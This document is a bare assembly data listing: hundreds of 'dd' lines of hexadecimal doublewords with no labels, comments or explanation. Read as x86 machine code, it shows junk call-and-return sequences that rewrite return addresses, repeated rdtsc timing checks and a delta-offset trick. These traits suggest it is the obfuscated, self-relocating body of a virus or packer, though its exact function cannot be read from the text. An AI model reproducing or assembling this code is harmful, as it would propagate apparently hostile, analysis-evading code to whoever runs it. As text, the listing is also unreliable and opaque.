		dd 274B60C3h, 20498D8Bh, 6A07E0h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 3606B6C3h, 5C3F72CBh
		dd 357D8FBFh, 0C28B5025h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h
		dd 0F58188Bh, 387h, 0F8BF0F00h,	8A0Fh, 6A0000h,	3E850h
		dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 0CFE5FFC3h, 12E901h,	4D7D0000h, 60FE183Bh, 0C4ABBCB7h
		dd 0D2DC6B4Bh, 9705A595h, 12F5BD83h, 0F0007E0h,	5D84h
		dd 0FE9F500h, 0DB000000h, 75DD9E18h, 85BCF94Ah,	2400D289h
		dd 0B87248h, 89000000h,	0E025AD8Dh, 0E88D8D07h,	6A07E04Eh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 5898C356h, 0CA6533CCh, 4C7EAA07h,	2D853152h
		dd 5B07E024h, 0F381E1FFh, 28FFD313h, 0BD8335B7h, 7E022C5h
		dd 83840F00h, 6A000004h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 98DC352h, 4A488C18h
		dd 10E8B6DEh, 78000000h, 0C7421E35h, 0FE49B0A9h, 0DC50D327h
		dd 89D97E01h, 0E008D5BDh, 0BD835B07h, 7E022C5h,	52840F01h
		dd 56000004h, 13419529h, 835B07E0h, 0E022C5BDh,	860F0307h
		dd 407h, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 16h,	0F5C35747h, 8B60B822h, 0E01ADDBDh, 0D98C6607h
		dd 80FE8B66h, 0F78004E1h, 0FC90A53h, 14084h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 0FFE48BD7h, 7F3B5A04h, 0CE96004h, 0E0000000h, 0DAD586D9h
		dd 13DEF1F1h, 0FD88493h, 0BB61DAB7h, 60344333h,	3399858Bh
		dd 6A07E0h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 0E9AA58C3h, 7062AC76h, 9D8B71E1h,	7E025BDh
		dd 31898533h, 816607E0h, 0F2075F3h, 68Fh, 0E9858900h, 5007E01Ch
		dd 5E9h, 0D0BAA600h, 489ABCCh, 0D19D8B24h, 6A07E031h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 2E896999h, 830F5357h, 6, 2A95BD8Bh, 685B07E0h, 70434C89h
		dd 76243481h, 6A705C4Fh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 0B7C9C352h,	0B6954DDFh
		dd 95FFF5EFh, 7E021CDh,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 1FC35141h, 5601845Ah,	7F269DD8h, 6ED8D31h
		dd 858907E0h, 7E3CBADh,	1D399D8Bh, 27E907E0h, 3000002h
		dd 0E01DC99Dh, 0A5858B07h, 6A07E3CBh, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 6F09C350h
		dd 0DE953F8h, 87000000h, 111103C6h, 5342F217h, 406CB58Ch
		dd 1800C75Bh, 8B000000h, 0E3CBA9B5h, 0E3816607h, 70BF60B9h
		dd 8B747C6Ch, 0E005F985h, 51006A07h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 0D418C1F4h
		dd 4852EFCCh, 0BD8BB4C0h, 7E01129h, 85890689h, 7E01051h
		dd 22D59D8Bh, 858B07E0h, 7E03399h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 8BC35040h, 8EAF87A7h, 33AABAC0h
		dd 11E957h, 59850000h, 0F884B307h, 76F38A16h, 0C2231D46h
		dd 5F2737A8h, 0B920C381h, 46897C11h, 52006A04h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 0EA4658Dh
		dd 907C7639h, 0BD8B6CB7h, 7E02585h, 161D9D8Bh, 0BB5007E0h
		dd 107F7006h, 8B243489h, 0E02D2DBDh, 0A5B5FF07h, 6607E3CBh
		dd 4E8DE8Bh, 0FF000000h, 51001F03h, 2840Fh, 5F510000h
		dd 9E9505Fh, 0CB000000h, 0A41F1EE8h, 0C346C478h, 424448Bh
		dd 1BB6052h, 6177FFE5h,	0E8008B5Fh, 6, 0ECB94567h, 0BB66C496h
		dd 895FA814h, 8B042444h, 6A58F8h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 9BBE9AC3h, 0B59D8B34h
		dd 8B07E028h, 0E01099BDh, 0AD858D07h, 6A07E3CBh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 0D0AFC356h, 7F49636Bh, 5090B702h, 8B666052h,	0F5250F9h
		dd 61585A31h, 0BB66310Fh, 585AD85Ch, 90FE8B50h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0E9C35141h, 0FF3C6F4Dh
		dd 0E021CD95h, 56006A07h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 92F9D8F2h, 0D22DD9C9h
		dd 6A61FC8Ah, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 0E49DC357h, 0C71572D9h, 0E022C585h
		dd 307h, 5DB58900h, 8B07E02Dh, 0E01C5DBDh, 0ADBD8307h
		dd 7E3CBh, 29840Fh, 3FE90000h, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 9F2FC352h
		dd 0E5BD29F5h, 5007E01Ah, 110C30h, 0C1011144h, 443010E8h
		dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh,	64001104h
		dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
		dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h,	4300111h
		dd 4E98311h, 0EBE775h, 6AC08Bh,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 0E6E584C3h, 6AD74Ch
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 0F50195C3h, 73566A37h, 0BD83D88Ah, 7E022C5h,	0FF850F03h
		dd 8B000003h, 0E0290D9Dh, 0ADBD8307h, 7E3CBh, 3EC840Fh
		dd 0E8BB0000h, 0FF2B2A3Eh, 0E3CBADB5h, 0C1BD8B07h, 0FF07E01Ch
		dd 0E01DA995h, 53006A07h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1D04h, 0C3534300h, 0D8BFB08Fh, 0EC7A0B3Ch
		dd 0B58BD249h, 7E3CBA1h, 0FE19589h, 6C707E0h, 10001h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 66C35141h, 142B4A4Fh
		dd 8589FA0Ch, 7E004B9h,	50FEDF80h, 10E9h, 1414D300h, 5D23C6A7h
		dd 15614E17h, 76EDBBA1h, 24348988h, 0ADB5FFF8h,	6A07E3CBh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 417BC355h, 8B5F6684h, 1195FFF8h, 6A07E030h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 0F352C352h, 8B2E2F5Eh, 0E3CBA1B5h, 14E907h
		dd 0A6EB0000h, 83BF21D3h, 940A6609h, 456B725Fh,	0D8A2EC65h
		dd 858B27C9h, 7E022D1h,	8689DA8Bh, 0C4h, 8D0169B3h, 7E0086Dh
		dd 1815958Bh, 6A07E0h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 8C0FE8C3h, 3, 83DA8B66h,	6A04C2h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 66C91AC3h, 5089DE8Bh, 85036020h, 7E03475h
		dd 22CDB58Bh, 8D6107E0h, 0E3E0D485h, 50006A07h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 0F030DC51h
		dd 26819D8Bh, 868907E0h, 0B8h, 3860Fh, 0C7800000h, 6A006A9Ah
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 18EAC350h, 0C76BE4B7h, 0F3816638h, 0B5FFAA1Bh
		dd 7E3CBADh, 6F59D8Bh, 95FF07E0h, 7E02A99h, 1A099D89h
		dd 0E89607E0h, 13h, 0EE00BC5Eh,	90840B76h, 65EB544Fh, 0C079C972h
		dd 0FD828BFh, 383h, 0DF8B6600h,	2B96505Fh, 0E00209BDh
		dd 0ADB5FF07h, 6A07E3CBh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 8913C352h, 0E02DE585h
		dd 73BF6607h, 619D8987h, 0FF07E019h, 0E028E995h, 0DD8D8907h
		dd 8307E01Ah, 0E028E1BDh, 840F0007h, 47h, 1395B509h, 505007E0h
		dd 0FA6B352h, 0F525031h, 8A0F31h, 5A000000h, 89585A58h
		dd 6A2434h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 3A8465C3h, 0A9265FA8h, 7D9D8BE1h,	0FF07E025h
		dd 0E3CBADB5h, 1D858907h, 0FF07E016h, 0E0303595h, 53006A07h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 7EAB8EA8h, 0BF42E643h, 0E8DDF781h, 0B5FF3CB7h, 7E3CBADh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0B2C35141h
		dd 0CD488595h, 1211BD31h, 95FF07E0h, 7E001B9h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0BAC35747h, 0BD894356h
		dd 7E01A0Dh, 731BD83h, 0F0207E0h, 7384h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
		dd 890F7CEDh, 8, 8B0F52h, 5B000000h, 0EA5F5DBFh, 0D0B75615h
		dd 39858B5Fh, 6A07E020h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 375CC353h, 0E986EDCBh
		dd 0Bh,	79A334DBh, 799DBD0Ah, 89035A3Ch, 0E03401B5h, 0C607h
		dd 43D85C7h, 7E0h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 13E4DFC3h, 0DFE11631h
		dd 46E9FB8Bh, 31FFFFF3h, 0E0138D8Dh, 6AC18B07h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 6E23C356h, 0F6961EA1h, 0BD8BF891h, 7E01821h,	13C9858Dh
		dd 0B50907E0h, 7E005B5h, 0BF525050h, 23AA5866h,	585A310Fh
		dd 6A240489h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 4EA4C352h, 0E43BA990h,	62982D6Fh
		dd 6EC78166h, 6A006A62h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 5A88C356h, 0F22B6887h
		dd 8B96BF0Eh, 0E030B5BDh, 0E8006A07h, 6, 9F77E13Eh, 9D03D294h
		dd 7E019FDh, 37858D5Fh,	6607E4D1h, 29B28ABFh, 0E0149595h
		dd 5C08307h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 18h,	0FC35141h, 30005E6Ah, 0C36AD781h, 5090320Eh, 0A6BB6652h
		dd 66310FE8h, 5A3BF1BBh, 6A905058h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0F657C356h
		dd 64C426A0h, 459B75B4h, 0DE9h,	918B5200h, 9E6B7DBBh, 9E302A4Eh
		dd 8166B765h, 6AAC71C7h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 7E513FDDh, 5E9A9h, 0E44F0000h
		dd 6AF14443h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1B04h, 0C3574700h, 0A4665B07h, 86BFFE91h, 344195FFh
		dd 6A07E0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 800C9AC3h, 0C97D21E1h, 0E80C40D2h, 14h, 80C8B959h
		dd 7EC5204Dh, 805396B5h, 0ACF3A82Eh, 0FB799249h, 0DF6892BBh
		dd 8D8D5B62h, 7E3A393h,	0B7D1FFF5h, 0B1BD83E7h,	107E016h
		dd 59850Fh, 0BF0F0000h,	0F026ADAh, 283h, 5055B700h, 489FA8Bh
		dd 57006A24h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 9995FFB1h, 6A07E02Ah, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0BC06C357h
		dd 93ED9E8h, 0E9A7F8EBh, 0CE7h,	0E8h, 0ED815D00h, 7E4D141h
		dd 51006AF8h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 0B40CEEB6h, 63858D3Dh, 6A07E394h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 0BB10C351h, 7ADCB9F9h, 505F5290h, 85F802BBh,	0EF80906Eh
		dd 35FF6433h, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0B9C35545h
		dd 0A3ECE4BFh, 25896417h, 0
		dd 505BD8Bh, 85FF07E0h,	7E020FDh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 36C35040h, 0C683C607h, 0BF666A77h
		dd 0FF6A07CFh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 18h,	0A7C35242h, 7B9570F6h, 6890F56h, 0F000000h, 81h
		dd 0D98B5F00h, 12ADB5FFh, 895307E0h, 0E01FD59Dh, 95FF5B07h
		dd 7E03389h, 121E9h, 95BD8B00h,	0B007E030h, 2800F00h, 8B000000h
		dd 8B0FDFh, 0E6000000h,	0D99D2970h, 0BF07E011h,	28BF3D3Fh
		dd 7E971E4h, 0CF000000h, 9A1C4D44h, 613C477Bh, 0E8830Fh
		dd 0BB660000h, 0B60FBA5Ch, 35BD89C8h, 0BA07E031h, 6, 0BE9h
		dd 6492800h, 68F9DE97h,	47F5913Dh, 8529C18Bh, 7E01235h
		dd 0E904E8C1h, 0Ch, 0E49A07Fh, 0B6713B04h, 0D442CD23h
		dd 0E9E2F766h, 13h, 6DEED9B8h, 1F4673Ah, 0AF402B26h, 18FAF6E1h
		dd 2BC1CAA7h, 8BD18BC8h, 0E02429BDh, 80E907h, 858B0000h
		dd 8, 44DF8166h, 0BDB50992h, 8307E017h,	816607C0h, 81D888D7h
		dd 61CC9EFh, 0C0834Ch, 3396C781h, 0D03B0902h, 15830Fh
		dd 81660000h, 0E90F3FF7h, 46h, 6E9h, 2A3E0800h,	8B66C6C0h
		dd 0FFFFFF8Dh, 0B19589FFh, 8307E001h, 840F01E1h, 26h, 89BD8B57h
		dd 5B07E00Fh, 0FFFFA583h, 31FEFFFFh, 0E0017D9Dh, 8958907h
		dd 0B000000h, 0E0069D9Dh, 0E907h, 0B58D0000h, 7E451BFh
		dd 1006AF9h, 0E00571BDh, 0A995FF07h, 6607E018h,	7ADDDB81h
		dd 1041B9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 552A15F0h, 0B6DCAF45h, 1D9D2360h
		dd 8307E020h, 6AFCE1h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 7A9A4C3h, 0B589EEC3h, 7E023C9h
		dd 3A5BF66h, 0BF6650FCh, 0B85B6E82h, 0
		dd 0D22B6DB3h, 23EDBD0Bh, 33AD07E0h, 3E8D1C2h, 4E983D0h
		dd 0C6BFF475h, 6A4A49A4h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 0F59BC355h,	54BAE289h
		dd 8A69A8D4h, 880Dh, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 8B795A92h, 0E0181595h
		dd 57006A07h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 596A70A5h, 0EE95Eh, 0E17D0000h, 12DCABF4h
		dd 4BCE605Fh, 0C8600925h, 20498D8Bh, 9DBF07E0h,	506560F9h
		dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h,	57006A58h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 811C7007h, 0E3E063E3h, 38A0F3Eh, 80000000h, 0BD8306C3h
		dd 7E012F5h, 0B8840F00h, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 5F75C353h
		dd 13E9ADh, 0DC0B0000h,	8F6EE9F2h, 2981DFDBh, 0A8AA4129h
		dd 0E8CDA16Fh, 0B880h, 6A0000h,	3E852h,	5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 0D28146C3h, 0FD8A4048h
		dd 35D38166h, 119D8B73h, 8D07E00Eh, 0E04EE88Dh,	55006A07h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 0B56DAB73h, 11E95160h, 58000000h, 0CD0A29F0h, 76166CC3h
		dd 17F5E43h, 7CA423BFh,	87C48059h, 8BE1FF61h, 0E02EF9BDh
		dd 41958907h, 8307E02Bh, 0E022C5BDh, 840F0007h,	36Ch, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 30C35141h, 0E9A5E1DCh
		dd 0BD8B4FDFh, 7E013FDh, 3275BD8Bh, 0BD8307E0h,	7E022C5h
		dd 4C840F01h, 0BF000003h, 675C5A82h, 22C5BD83h,	0F0307E0h
		dd 30486h, 9E900h, 0C97B0000h, 353A2B10h, 60B08358h, 1BB19D89h
		dd 8C6607E0h, 55006AD9h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 0FE893h, 624D0000h, 69237207h, 0F5385CA3h
		dd 0BA4D2208h, 0CD958935h, 5F07E011h, 148CD381h, 0E180221Fh
		dd 8E904h, 390F0000h, 862C5B45h, 0CE98682h, 0DC000000h
		dd 0F27F799Eh, 97FFED7Ah, 0A797D11h, 24840FC9h,	6A000001h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 0B54BC353h, 517646D1h, 5B616053h,	0FFB70F5Fh
		dd 3399858Bh, 6A07E0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 885E62C3h, 12084594h, 1C870Fh, 7E80000h
		dd 0BB000000h, 70562944h, 0AE9A635h, 0C3000000h, 0C17A5E04h
		dd 0DB6259A6h, 8D895FE0h, 7E023B9h, 31898533h, 6A07E0h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 8B90CAC3h, 0B36050D8h, 6A906171h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 8970C352h
		dd 0E018058Dh, 89006A07h, 0E01681B5h, 5D9D6807h, 79B33C57h
		dd 62243481h, 6A3C485Eh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 0FAF1C357h,	148DBD89h
		dd 95FF07E0h, 7E021CDh,	11E99D89h, 858907E0h, 7E3CBADh
		dd 695BD8Bh, 14E907E0h,	8B000001h, 0E01A299Dh, 8B5F5307h
		dd 0E3CBA585h, 0FBB70F07h, 1800C7h, 0AE90000h, 0A4000000h
		dd 3DB07DBEh, 17D53569h, 0A9B58B96h, 6607E3CBh,	2ABAD381h
		dd 5F9858Bh, 0FB8B07E0h, 0DB810689h, 2D7257E6h,	3399858Bh
		dd 958907E0h, 7E00099h,	8B044689h, 0E01669BDh, 7E95007h
		dd 30000000h, 9A109216h, 3489C297h, 0EE924h, 0B5E30000h
		dd 0B8125759h, 0D52C608Dh, 0B48686B8h, 0CBA5B5FFh, 9D8B07E3h
		dd 7E02881h, 4DBC1D68h,	14BF66E1h, 240481F6h, 1ED147E2h
		dd 944EE4BBh, 0AD858D6Dh, 6A07E3CBh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 1F8DC352h
		dd 744D0CDDh, 8E890h, 93A50000h, 559FBE36h, 0BB660818h
		dd 505F76A2h, 8B525053h, 0B7310FF8h, 5F585AAEh,	0D1858990h
		dd 5007E000h, 38E38166h, 95FF5B0Ch, 7E021CDh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 63C35646h, 61079735h
		dd 154DBD8Bh, 85C707E0h, 7E022C5h, 3, 30419D8Bh, 0BD8307E0h
		dd 7E3CBADh, 32840F00h,	6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 24FBC353h
		dd 0ADC246E5h, 27E9h, 6840F00h,	1000000h, 0E0107D8Dh, 0C305007h
		dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h
		dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h
		dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h
		dd 1116428h, 83110430h,	0E77504E9h, 0C08B00EBh,	0C18D89h
		dd 6A07E0h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
		dd 51410000h, 1B023BC3h, 4819370Ah, 89EF63D1h, 0E0145D8Dh
		dd 0C5BD8307h, 307E022h, 464850Fh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 21BD86C3h
		dd 21BD8B01h, 8307E014h, 0E3CBADBDh, 840F0007h,	432h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 57C35747h, 0B5FFF003h
		dd 7E3CBADh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 17h,	0D2C35141h, 0BF840072h,	3DD0156Dh, 2860Fh, 0D88A0000h
		dd 1DA995FFh, 6A07E0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 681917C3h, 81669E5Dh, 8B2A8DD3h
		dd 0E3CBA1B5h, 106C707h, 6A000100h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 7041C355h
		dd 21A1FBF6h, 816662BDh, 0F35FFD7h, 1586h, 10E900h, 0EC550000h
		dd 670B1B2h, 1CCDADD8h,	662B4C1Ah, 0AE89FB4h, 0A7000000h
		dd 48E21701h, 2BE47770h, 2EF815Eh, 5F3CD95Fh, 0EC94BB96h
		dd 96504AF9h, 1E059D8Bh, 0B5FF07E0h, 7E3CBADh, 31D5B589h
		dd 95FF07E0h, 7E03011h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 0CAC35545h, 0D565C01h, 8B0B638Dh, 0E3CBA1B5h
		dd 5810F07h, 0BF000000h, 6AB7D228h, 22D1858Bh, 958907E0h
		dd 7E000D9h, 0C48689h, 958B0000h, 7E01815h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0AEC35545h, 0F7C3DEA1h
		dd 0B9702A0Eh, 8725CBBh, 4C28360h, 50895B50h, 51006A20h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 0CDBD3363h, 0F07E014h, 0C84h, 6860F00h, 89000000h, 0E01BD18Dh
		dd 0D4858D07h, 6A07E3E0h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 6BAAC355h, 0A96FE0DDh
		dd 5DBD8BA8h, 8907E026h, 0B886h, 0E9FE8A00h, 0Eh, 0D0046D68h
		dd 0E325956h, 0F2A20EFFh, 6A757Fh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 44C35343h, 5E7EBF66h, 0CBADB5FFh
		dd 6A07E3h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 787F3FC3h, 8FBB1B19h, 95B5896Eh
		dd 8907E023h, 0E007E585h, 9995FF07h, 3107E02Ah,	0E0268DBDh
		dd 3EBF5007h, 890BC562h, 0E3BF2434h, 0FF67A7F9h, 0E3CBADB5h
		dd 51006A07h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 0B59D8BB6h, 0FF07E000h, 0E028E995h, 57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 88130D54h, 8EDDC133h, 0BD290C86h, 7E01429h, 1870Fh
		dd 83F80000h, 0E028E1BDh, 840F0007h, 21h, 0E95025B3h, 0Fh
		dd 60A666FDh, 0B3FE3D8Fh, 6EF1214Dh, 89902867h,	66562434h
		dd 0A0D8D381h, 0ADB5FF5Bh, 6A07E3CBh, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 9259C356h
		dd 0D5B7BF69h, 95FF4ACFh, 7E03035h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 89C35141h, 8D0948E1h, 86C9E9A7h
		dd 66F88B66h, 0B585F781h, 0CBADB5FFh, 6A07E3h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 21B312C3h, 0FA8B9E9Fh, 21298589h, 95FF07E0h,	7E001B9h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 15C35646h
		dd 2F21E3F5h, 37E2B44Bh, 8C0F6081h, 4, 7889BE66h, 26D1B523h
		dd 836107E0h, 0E00731BDh, 840F0207h, 56h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 15h, 37C35343h, 558D0192h
		dd 8B07E016h, 0E0203985h, 55006A07h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 8915E12Ch
		dd 0E026BDB5h, 0C607h, 12A99D89h, 85C707E0h, 7E0043Dh
		dd 0
		dd 9D7FDB81h, 0FE91CE5h, 0FFFFFF4h, 688h, 0A19D8B00h, 8B07E011h
		dd 50006AC1h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 949B5E07h, 9DBD898Eh, 8D07E01Bh,	0E013C985h
		dd 57006A07h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1704h
		dd 0C3574700h, 80415F39h, 0BF6690F8h, 0F50D2C2h, 28Fh
		dd 90D88B00h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 18h,	0F9C35545h, 263002CEh, 28F5BD8Bh, 6A07E0h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 63C35646h, 8B6669D4h
		dd 0AD9589FBh, 6A07E01Ch, 12EB8100h, 8D278BF0h,	0E4E0A785h
		dd 57006A07h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 0ABF85F9Ah, 0B1B589B0h, 8307E018h, 6A05C0h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 8D8960C3h, 7E02AC5h,	10E990h, 0D39B0000h, 1613B3C4h
		dd 0C002BE43h, 29EBE82Eh, 66500763h, 9001DDBBh,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 7DC35242h, 1325BD8Bh
		dd 6A07E0h, 0E850006Ah,	3, 58C35820h, 4244489h,	4244481h
		dd 16h,	0C4C35040h, 0BD89929Ch,	7E018D1h, 6A006Ah, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 9D89BBC3h, 7E02DA5h,	344195FFh, 9D8907E0h, 7E0349Dh
		dd 0A3938D8Dh, 0C78007E3h, 6AD1FF9Dh, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 726DC357h
		dd 0F0EDD41h, 689h, 95858900h, 8B07E004h, 0E00FF9BDh, 0B1BD8307h
		dd 107E016h, 0C9850Fh, 6A0000h,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 934C9C3h, 7BB38C31h
		dd 0B70F579Eh, 0B5295BD9h, 7E0160Dh, 6A026Ah, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 28E7C7C3h
		dd 0BD8B3010h, 7E01119h, 11E86050h, 0E4000000h,	53C7DC6Eh
		dd 0C87E0EA3h, 1BE959AFh, 8031B5ABh, 66596160h,	8961F78Bh
		dd 6A2404h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 9CAF85C3h, 7E8h, 2EE7ED00h, 368CBE25h, 17870Fh
		dd 12E90000h, 0F1000000h, 8F1984B2h, 50A616DCh,	96B2FBA9h
		dd 4FD11C72h, 95FF5F8Fh, 7E02A99h, 0E9DABF0Fh, 0CCDh, 0E8h
		dd 0ED815D00h, 7E4E0B1h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 61C35242h, 5CF89A03h,	6ABF7Fh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
